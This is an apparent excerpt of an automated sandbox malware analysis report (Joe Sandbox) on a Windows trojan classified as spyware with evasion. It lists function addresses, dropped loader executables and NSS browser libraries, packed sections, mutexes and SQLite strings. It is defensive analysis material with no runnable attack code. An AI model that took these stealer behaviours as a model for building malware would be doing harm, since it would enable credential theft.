Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C524840	5_2_6C524840
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4A0820	5_2_6C4A0820
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4DA820	5_2_6C4DA820
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C5568E0	5_2_6C5568E0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C488960	5_2_6C488960
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4A6900	5_2_6C4A6900
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C56C9E0	5_2_6C56C9E0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4849F0	5_2_6C4849F0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C5109B0	5_2_6C5109B0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4E09A0	5_2_6C4E09A0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C50A9A0	5_2_6C50A9A0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4CCA70	5_2_6C4CCA70
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4FEA00	5_2_6C4FEA00
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C508A30	5_2_6C508A30
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C556BE0	5_2_6C556BE0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4F0BA0	5_2_6C4F0BA0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C468460	5_2_6C468460
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4B4420	5_2_6C4B4420
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4DA430	5_2_6C4DA430
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4964D0	5_2_6C4964D0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4EA4D0	5_2_6C4EA4D0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C57A480	5_2_6C57A480
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C598550	5_2_6C598550
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4A8540	5_2_6C4A8540
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C554540	5_2_6C554540
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4B2560	5_2_6C4B2560
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4F0570	5_2_6C4F0570
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C51A5E0	5_2_6C51A5E0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4DE5F0	5_2_6C4DE5F0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4445B0	5_2_6C4445B0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4AC650	5_2_6C4AC650
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4746D0	5_2_6C4746D0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4AE6E0	5_2_6C4AE6E0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4EE6E0	5_2_6C4EE6E0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4D0700	5_2_6C4D0700
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C47A7D0	5_2_6C47A7D0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C49E070	5_2_6C49E070
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C518010	5_2_6C518010
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C51C000	5_2_6C51C000
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C448090	5_2_6C448090
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C52C0B0	5_2_6C52C0B0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4600B0	5_2_6C4600B0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4B8140	5_2_6C4B8140
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C534130	5_2_6C534130
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4C6130	5_2_6C4C6130
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4501E0	5_2_6C4501E0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4E8250	5_2_6C4E8250
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4D8260	5_2_6C4D8260
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C51A210	5_2_6C51A210
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C528220	5_2_6C528220
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C5D62C0	5_2_6C5D62C0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C51E2B0	5_2_6C51E2B0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C5222A0	5_2_6C5222A0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C458340	5_2_6C458340
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C592370	5_2_6C592370
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C452370	5_2_6C452370
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C56C360	5_2_6C56C360
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4E6370	5_2_6C4E6370
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4C2320	5_2_6C4C2320
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4A43E0	5_2_6C4A43E0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4823A0	5_2_6C4823A0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4AE3B0	5_2_6C4AE3B0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C453C40	5_2_6C453C40
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C579C40	5_2_6C579C40
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C461C30	5_2_6C461C30
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C58DCD0	5_2_6C58DCD0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C511CE0	5_2_6C511CE0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4B3D00	5_2_6C4B3D00
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C521DC0	5_2_6C521DC0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C443D80	5_2_6C443D80
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C599D90	5_2_6C599D90
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C5ABE70	5_2_6C5ABE70
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C5D5E60	5_2_6C5D5E60
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C55DE10	5_2_6C55DE10
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C473EC0	5_2_6C473EC0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C485F20	5_2_6C485F20
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C445F30	5_2_6C445F30
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C5A7F20	5_2_6C5A7F20
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C56DFC0	5_2_6C56DFC0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C5D3FC0	5_2_6C5D3FC0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4FBFF0	5_2_6C4FBFF0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C471F90	5_2_6C471F90
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4AD810	5_2_6C4AD810
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C52F8F0	5_2_6C52F8F0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C45D8E0	5_2_6C45D8E0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4838E0	5_2_6C4838E0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C5AB8F0	5_2_6C5AB8F0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C50D960	5_2_6C50D960
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C59F900	5_2_6C59F900
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C505920	5_2_6C505920
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4E99C0	5_2_6C4E99C0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4899D0	5_2_6C4899D0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4B59F0	5_2_6C4B59F0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4E79F0	5_2_6C4E79F0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C521990	5_2_6C521990
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C461980	5_2_6C461980
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C5D9A50	5_2_6C5D9A50
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C48FA10	5_2_6C48FA10
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C54DA30	5_2_6C54DA30
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C451AE0	5_2_6C451AE0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C52DAB0	5_2_6C52DAB0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C52FB60	5_2_6C52FB60
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C49BB20	5_2_6C49BB20
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C497BF0	5_2_6C497BF0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C535B90	5_2_6C535B90
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C441B80	5_2_6C441B80
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C519BB0	5_2_6C519BB0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4A9BA0	5_2_6C4A9BA0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4DD410	5_2_6C4DD410
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C539430	5_2_6C539430
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4514E0	5_2_6C4514E0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C5D14A0	5_2_6C5D14A0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C59F510	5_2_6C59F510
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4B7500	5_2_6C4B7500
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C465510	5_2_6C465510
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4D55F0	5_2_6C4D55F0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C489590	5_2_6C489590
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4A5640	5_2_6C4A5640
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C469650	5_2_6C469650
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C479600	5_2_6C479600
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4C7610	5_2_6C4C7610
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4816A0	5_2_6C4816A0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4B96A0	5_2_6C4B96A0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4BD710	5_2_6C4BD710
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C473720	5_2_6C473720
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C529720	5_2_6C529720
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C5937C0	5_2_6C5937C0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4DB7A0	5_2_6C4DB7A0
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C44D050	5_2_6C44D050
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C459050	5_2_6C459050
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C4FF050	5_2_6C4FF050
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C49B020	5_2_6C49B020
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C507090	5_2_6C507090
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: 5_2_6C49F150	5_2_6C49F150

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: String function: 6C589F30 appears 51 times
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: String function: 6C4AC5E0 appears 33 times
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: String function: 6C473620 appears 98 times
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Code function: String function: 6C479B10 appears 110 times

Source: AWrVzd6XpC.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: AWrVzd6XpC.exe	Static PE information: Section: ZLIB complexity 0.9973713077910958
Source: AWrVzd6XpC.exe	Static PE information: Section: fkrxxztc ZLIB complexity 0.9943451314499094
Source: I8WIG9OBFWN5NKZK2DW5QG7.exe.0.dr	Static PE information: Section: pwjairst ZLIB complexity 0.9947487451303566
Source: random[1].exe.5.dr	Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: GCBKECAKFB.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: skotes.exe.12.dr	Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: random[1].exe.15.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe.15.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 8c6b987a2c.exe.15.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: 8c6b987a2c.exe.15.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe0.15.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: random[1].exe0.15.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777
Source: 59bcbe04f3.exe.15.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: 59bcbe04f3.exe.15.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777

Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe.0.dr

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@37/39@6/11

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Code function: 5_2_6C4B0300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

5_2_6C4B0300

Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe

Code function: 4_2_053115D0 ChangeServiceConfigA,

4_2_053115D0

Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\I8WIG9OBFWN5NKZK2DW5QG7.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1368:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe

File created: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2529515199.0000000005DB5000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540256198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2529515199.0000000005DB5000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540256198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2529515199.0000000005DB5000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540256198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2529515199.0000000005DB5000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540256198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3.dll.5.dr, softokn3[1].dll.5.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2529515199.0000000005DB5000.00000004.00000020.00020000.00000000.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmp, BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540256198.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
